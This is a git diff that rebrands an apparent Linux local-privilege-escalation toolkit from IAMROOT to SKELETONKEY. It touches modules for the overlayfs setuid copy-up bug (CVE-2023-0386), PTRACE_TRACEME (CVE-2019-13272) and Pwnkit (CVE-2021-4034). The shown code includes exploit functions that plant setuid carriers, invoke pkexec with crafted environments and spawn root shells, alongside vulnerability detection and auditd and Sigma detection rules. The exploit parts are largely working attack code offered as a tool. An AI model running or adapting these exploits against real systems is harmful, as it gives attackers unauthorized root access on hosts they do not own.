#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module overlayfs_module;
|
||||
|
||||
#endif
|
||||
@@ -16,7 +16,7 @@ Public PoC + writeup:
|
||||
Upstream fix: mainline 6.2-rc6 (commit `4f11ada10d0a`, Jan 2023).
|
||||
Branch backports: 5.10.169 / 5.15.92 / 6.1.11.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Distro-agnostic — no per-kernel offsets, no race. Places a setuid
|
||||
binary in an overlay lower, mounts via fuse-overlayfs userns trick,
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* overlayfs_setuid_cve_2023_0386 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef OVERLAYFS_SETUID_IAMROOT_MODULES_H
|
||||
#define OVERLAYFS_SETUID_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module overlayfs_setuid_module;
|
||||
|
||||
#endif
|
||||
+30
-30
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* overlayfs_setuid_cve_2023_0386 — IAMROOT module
|
||||
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module
|
||||
*
|
||||
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
|
||||
* (their modified overlayfs). This one is upstream: when overlayfs
|
||||
@@ -38,7 +38,7 @@
|
||||
* for any distro running 5.11-6.2 kernels. Container-escape relevant.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
@@ -96,12 +96,12 @@ static const char *find_setuid_in_lower(void)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.11 when ovl copy-up was generalized.
|
||||
@@ -111,7 +111,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
|
||||
"(introduced in 5.11)\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
|
||||
@@ -119,7 +119,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
const char *target = find_setuid_in_lower();
|
||||
@@ -142,13 +142,13 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Embedded payload + exploit ---------------------------------- */
|
||||
@@ -190,16 +190,16 @@ static bool write_file_str(const char *path, const char *content)
|
||||
return ok;
|
||||
}
|
||||
|
||||
static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = overlayfs_setuid_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Pick a setuid binary to use as the carrier — we'll find its
|
||||
@@ -209,20 +209,20 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
|
||||
const char *carrier = find_setuid_in_lower();
|
||||
if (!carrier) {
|
||||
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
/* For cleanliness, use a directory-level overlay. Find the carrier's
|
||||
* dirname. (E.g., /usr/bin/su → lower = /usr/bin/, file = su) */
|
||||
char carrier_dir[256], carrier_name[64];
|
||||
const char *slash = strrchr(carrier, '/');
|
||||
if (!slash) return IAMROOT_PRECOND_FAIL;
|
||||
if (!slash) return SKELETONKEY_PRECOND_FAIL;
|
||||
size_t dir_len = slash - carrier;
|
||||
memcpy(carrier_dir, carrier, dir_len);
|
||||
carrier_dir[dir_len] = 0;
|
||||
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
|
||||
|
||||
char workdir[] = "/tmp/iamroot-ovlsu-XXXXXX";
|
||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
|
||||
char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
|
||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
|
||||
workdir, carrier);
|
||||
@@ -232,7 +232,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!which_gcc(gcc, sizeof gcc)) {
|
||||
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
|
||||
rmdir(workdir);
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* Build the payload binary outside the overlay. */
|
||||
@@ -348,7 +348,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
|
||||
upper_carrier);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fflush(NULL);
|
||||
execl(upper_carrier, upper_carrier, (char *)NULL);
|
||||
@@ -358,26 +358,26 @@ fail:
|
||||
unlink(src_path); unlink(bin_path);
|
||||
rmdir(upper); rmdir(work); rmdir(merged);
|
||||
rmdir(workdir);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t overlayfs_setuid_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/iamroot-ovlsu-*\n");
|
||||
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/skeletonkey-ovlsu-*\n");
|
||||
}
|
||||
if (system("rm -rf /tmp/iamroot-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
|
||||
return IAMROOT_OK;
|
||||
if (system("rm -rf /tmp/skeletonkey-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static const char overlayfs_setuid_auditd[] =
|
||||
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
|
||||
"# Same surface as CVE-2021-3493; share the iamroot-overlayfs key.\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
|
||||
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k iamroot-overlayfs-chown\n";
|
||||
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
|
||||
|
||||
const struct iamroot_module overlayfs_setuid_module = {
|
||||
const struct skeletonkey_module overlayfs_setuid_module = {
|
||||
.name = "overlayfs_setuid",
|
||||
.cve = "CVE-2023-0386",
|
||||
.summary = "overlayfs copy-up preserves setuid bit → host root via setuid carrier",
|
||||
@@ -393,7 +393,7 @@ const struct iamroot_module overlayfs_setuid_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_overlayfs_setuid(void)
|
||||
void skeletonkey_register_overlayfs_setuid(void)
|
||||
{
|
||||
iamroot_register(&overlayfs_setuid_module);
|
||||
skeletonkey_register(&overlayfs_setuid_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
|
||||
#define OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module overlayfs_setuid_module;
|
||||
|
||||
#endif
|
||||
@@ -15,7 +15,7 @@ Upstream fix: mainline 5.1.17 (commit `6994eefb0053`, June 2019).
|
||||
|
||||
Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Full jannh-style chain: fork → child `PTRACE_TRACEME` → child
|
||||
sleep+attach → parent `execve` setuid bin (pkexec/su/passwd
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* ptrace_traceme_cve_2019_13272 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef PTRACE_TRACEME_IAMROOT_MODULES_H
|
||||
#define PTRACE_TRACEME_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module ptrace_traceme_module;
|
||||
|
||||
#endif
|
||||
+22
-22
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* ptrace_traceme_cve_2019_13272 — IAMROOT module
|
||||
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module
|
||||
*
|
||||
* PTRACE_TRACEME on a parent that subsequently execve's a setuid
|
||||
* binary results in the kernel granting ptrace privileges over the
|
||||
@@ -26,7 +26,7 @@
|
||||
* vulnerable.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
@@ -61,12 +61,12 @@ static const struct kernel_range ptrace_traceme_range = {
|
||||
sizeof(ptrace_traceme_patched_branches[0]),
|
||||
};
|
||||
|
||||
static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug existed since ptrace's inception (early 2.x); anything
|
||||
@@ -77,7 +77,7 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
|
||||
@@ -85,14 +85,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
|
||||
"(no user_ns required)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit (jannh-style) --------------------------------------
|
||||
@@ -118,14 +118,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
|
||||
* shellcode that exec's /bin/sh.
|
||||
* 10. C resumes P → root shell.
|
||||
*
|
||||
* IAMROOT implementation simplifies by using a small architecture-
|
||||
* SKELETONKEY implementation simplifies by using a small architecture-
|
||||
* specific shellcode (x86_64 only) and pkexec as the setuid binary
|
||||
* trigger (works on most Linux systems with polkit installed). Falls
|
||||
* back to /bin/su if pkexec isn't available.
|
||||
*
|
||||
* Reliability: this exploit can fail-race on heavily-loaded systems.
|
||||
* Repeat invocations usually succeed; we don't loop here — operator
|
||||
* can retry. Returns IAMROOT_EXPLOIT_FAIL on miss, IAMROOT_EXPLOIT_OK
|
||||
* can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
|
||||
* on root acquired (followed by execlp(sh) which never returns).
|
||||
*/
|
||||
|
||||
@@ -170,28 +170,28 @@ static const char *find_setuid_target(void)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#if !defined(__x86_64__)
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
|
||||
"(shellcode is arch-specific)\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
iamroot_result_t pre = ptrace_traceme_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
const char *setuid_bin = find_setuid_target();
|
||||
if (!setuid_bin) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
|
||||
@@ -199,7 +199,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* CHILD: set up the ptrace_link, then pause until parent has
|
||||
@@ -273,7 +273,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
|
||||
perror("execve setuid");
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
@@ -281,10 +281,10 @@ static const char ptrace_traceme_auditd[] =
|
||||
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
|
||||
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
|
||||
"# a setuid binary. False positives: gdb, strace, debuggers.\n"
|
||||
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n"
|
||||
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n";
|
||||
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
|
||||
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
|
||||
|
||||
const struct iamroot_module ptrace_traceme_module = {
|
||||
const struct skeletonkey_module ptrace_traceme_module = {
|
||||
.name = "ptrace_traceme",
|
||||
.cve = "CVE-2019-13272",
|
||||
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
|
||||
@@ -300,7 +300,7 @@ const struct iamroot_module ptrace_traceme_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_ptrace_traceme(void)
|
||||
void skeletonkey_register_ptrace_traceme(void)
|
||||
{
|
||||
iamroot_register(&ptrace_traceme_module);
|
||||
skeletonkey_register(&ptrace_traceme_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef PTRACE_TRACEME_SKELETONKEY_MODULES_H
|
||||
#define PTRACE_TRACEME_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module ptrace_traceme_module;
|
||||
|
||||
#endif
|
||||
@@ -25,10 +25,10 @@ polkit until 0.121 (or distro backport).
|
||||
- Debian: 0.105-31+deb11u1 (bullseye), 0.105-26+deb10u1 (buster)
|
||||
- RHEL: polkit-0.115-13.el7_9 (RHEL 7), polkit-0.117-9.el8_5.1 (RHEL 8)
|
||||
|
||||
## IAMROOT detect logic (current)
|
||||
## SKELETONKEY detect logic (current)
|
||||
|
||||
1. Resolve pkexec binary (`/usr/bin/pkexec` or `which pkexec`)
|
||||
2. If not present → IAMROOT_OK (no attack surface)
|
||||
2. If not present → SKELETONKEY_OK (no attack surface)
|
||||
3. Run `pkexec --version` and parse version
|
||||
4. Compare to known-fixed thresholds; report VULNERABLE if below
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ Original advisory:
|
||||
|
||||
Upstream fix: polkit 0.121 (Jan 2022).
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
The exploit module follows the canonical Qualys-style chain: writes
|
||||
payload.c + gconv-modules cache, compiles via the target's gcc,
|
||||
@@ -22,4 +22,4 @@ execve's pkexec with NULL argv and crafted envp. Handles both the
|
||||
legacy ("0.105") and modern ("126") polkit version string formats.
|
||||
Falls back gracefully on hosts without a compiler.
|
||||
|
||||
This is IAMROOT's first **userspace** LPE — not a kernel bug.
|
||||
This is SKELETONKEY's first **userspace** LPE — not a kernel bug.
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* pwnkit_cve_2021_4034 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef PWNKIT_IAMROOT_MODULES_H
|
||||
#define PWNKIT_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module pwnkit_module;
|
||||
|
||||
#endif
|
||||
+32
-32
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* pwnkit_cve_2021_4034 — IAMROOT module
|
||||
* pwnkit_cve_2021_4034 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🔵 DETECT-ONLY (2026-05-16). Full exploit follows.
|
||||
*
|
||||
@@ -13,15 +13,15 @@
|
||||
* embedded .so generator) is well-documented; landing it is a
|
||||
* follow-up commit.
|
||||
*
|
||||
* Pwnkit is the first USERSPACE LPE in IAMROOT — the rest of the
|
||||
* Pwnkit is the first USERSPACE LPE in SKELETONKEY — the rest of the
|
||||
* corpus is kernel bugs. The module shape is identical (same
|
||||
* iamroot_module interface), but the affected-version check is
|
||||
* skeletonkey_module interface), but the affected-version check is
|
||||
* package-version-based rather than kernel-version-based. core/
|
||||
* may eventually grow a `pkg_version` helper if a few more userspace
|
||||
* modules need it.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
@@ -74,14 +74,14 @@ static bool pkexec_version_vulnerable(const char *version_str)
|
||||
return min < 121; /* 0.121 is the fix */
|
||||
}
|
||||
|
||||
static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t pwnkit_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *pkexec_path = find_pkexec();
|
||||
if (!pkexec_path) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path);
|
||||
@@ -92,7 +92,7 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return IAMROOT_TEST_ERROR;
|
||||
if (!p) return SKELETONKEY_TEST_ERROR;
|
||||
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
@@ -101,12 +101,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n");
|
||||
}
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return IAMROOT_TEST_ERROR;
|
||||
if (!vp) return SKELETONKEY_TEST_ERROR;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
|
||||
@@ -124,12 +124,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] pwnkit: distro backports may have fixed lower-numbered versions;\n"
|
||||
" check `apt-cache policy policykit-1` / `rpm -q polkit` for the patch level\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] pwnkit: pkexec version is ≥ 0.121 (fixed)\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Pwnkit exploit (canonical Qualys-style PoC) -----------------
|
||||
@@ -203,29 +203,29 @@ static bool write_file_str(const char *path, const char *content)
|
||||
return ok;
|
||||
}
|
||||
|
||||
static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Re-confirm vulnerable before doing anything visible. */
|
||||
iamroot_result_t pre = pwnkit_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = pwnkit_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] pwnkit: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
const char *pkexec = find_pkexec();
|
||||
if (!pkexec) return IAMROOT_PRECOND_FAIL;
|
||||
if (!pkexec) return SKELETONKEY_PRECOND_FAIL;
|
||||
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Working dir under /tmp. Permissive on permissions so pkexec
|
||||
* (running as root) can read everything inside. */
|
||||
char workdir[] = "/tmp/iamroot-pwnkit-XXXXXX";
|
||||
char workdir[] = "/tmp/skeletonkey-pwnkit-XXXXXX";
|
||||
if (!mkdtemp(workdir)) {
|
||||
perror("mkdtemp");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) fprintf(stderr, "[*] pwnkit: workdir = %s\n", workdir);
|
||||
|
||||
@@ -238,7 +238,7 @@ static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
|
||||
" that's a future enhancement (multi-arch, distro-portable).\n"
|
||||
" For now: install build-essential or run on a host with cc.\n");
|
||||
rmdir(workdir);
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) fprintf(stderr, "[*] pwnkit: compiler = %s\n", gcc);
|
||||
|
||||
@@ -339,22 +339,22 @@ fail:
|
||||
snprintf(path, sizeof path, "%s/payload.c", workdir);
|
||||
unlink(path);
|
||||
rmdir(workdir);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t pwnkit_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
/* Best-effort: nuke any leftover iamroot-pwnkit-* dirs in /tmp.
|
||||
/* Best-effort: nuke any leftover skeletonkey-pwnkit-* dirs in /tmp.
|
||||
* Successful exploit cleans itself up (PWNKIT.so unlinks before
|
||||
* execve /bin/sh). Failed exploit leaves the tmpdir. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] pwnkit: removing /tmp/iamroot-pwnkit-* workdirs\n");
|
||||
fprintf(stderr, "[*] pwnkit: removing /tmp/skeletonkey-pwnkit-* workdirs\n");
|
||||
}
|
||||
if (system("rm -rf /tmp/iamroot-pwnkit-*") != 0) {
|
||||
if (system("rm -rf /tmp/skeletonkey-pwnkit-*") != 0) {
|
||||
/* harmless — there may not be any */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
@@ -362,13 +362,13 @@ static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx)
|
||||
static const char pwnkit_auditd[] =
|
||||
"# Pwnkit (CVE-2021-4034) — auditd detection rules\n"
|
||||
"# Flag pkexec execution from non-root + look for argc==0 indicators.\n"
|
||||
"-w /usr/bin/pkexec -p x -k iamroot-pwnkit\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n"
|
||||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n";
|
||||
"-w /usr/bin/pkexec -p x -k skeletonkey-pwnkit\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n"
|
||||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n";
|
||||
|
||||
static const char pwnkit_sigma[] =
|
||||
"title: Possible Pwnkit exploitation (CVE-2021-4034)\n"
|
||||
"id: 9e1d4f2c-iamroot-pwnkit\n"
|
||||
"id: 9e1d4f2c-skeletonkey-pwnkit\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects pkexec invocations with GCONV_PATH / CHARSET env tweaks (the\n"
|
||||
@@ -387,7 +387,7 @@ static const char pwnkit_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.4034]\n";
|
||||
|
||||
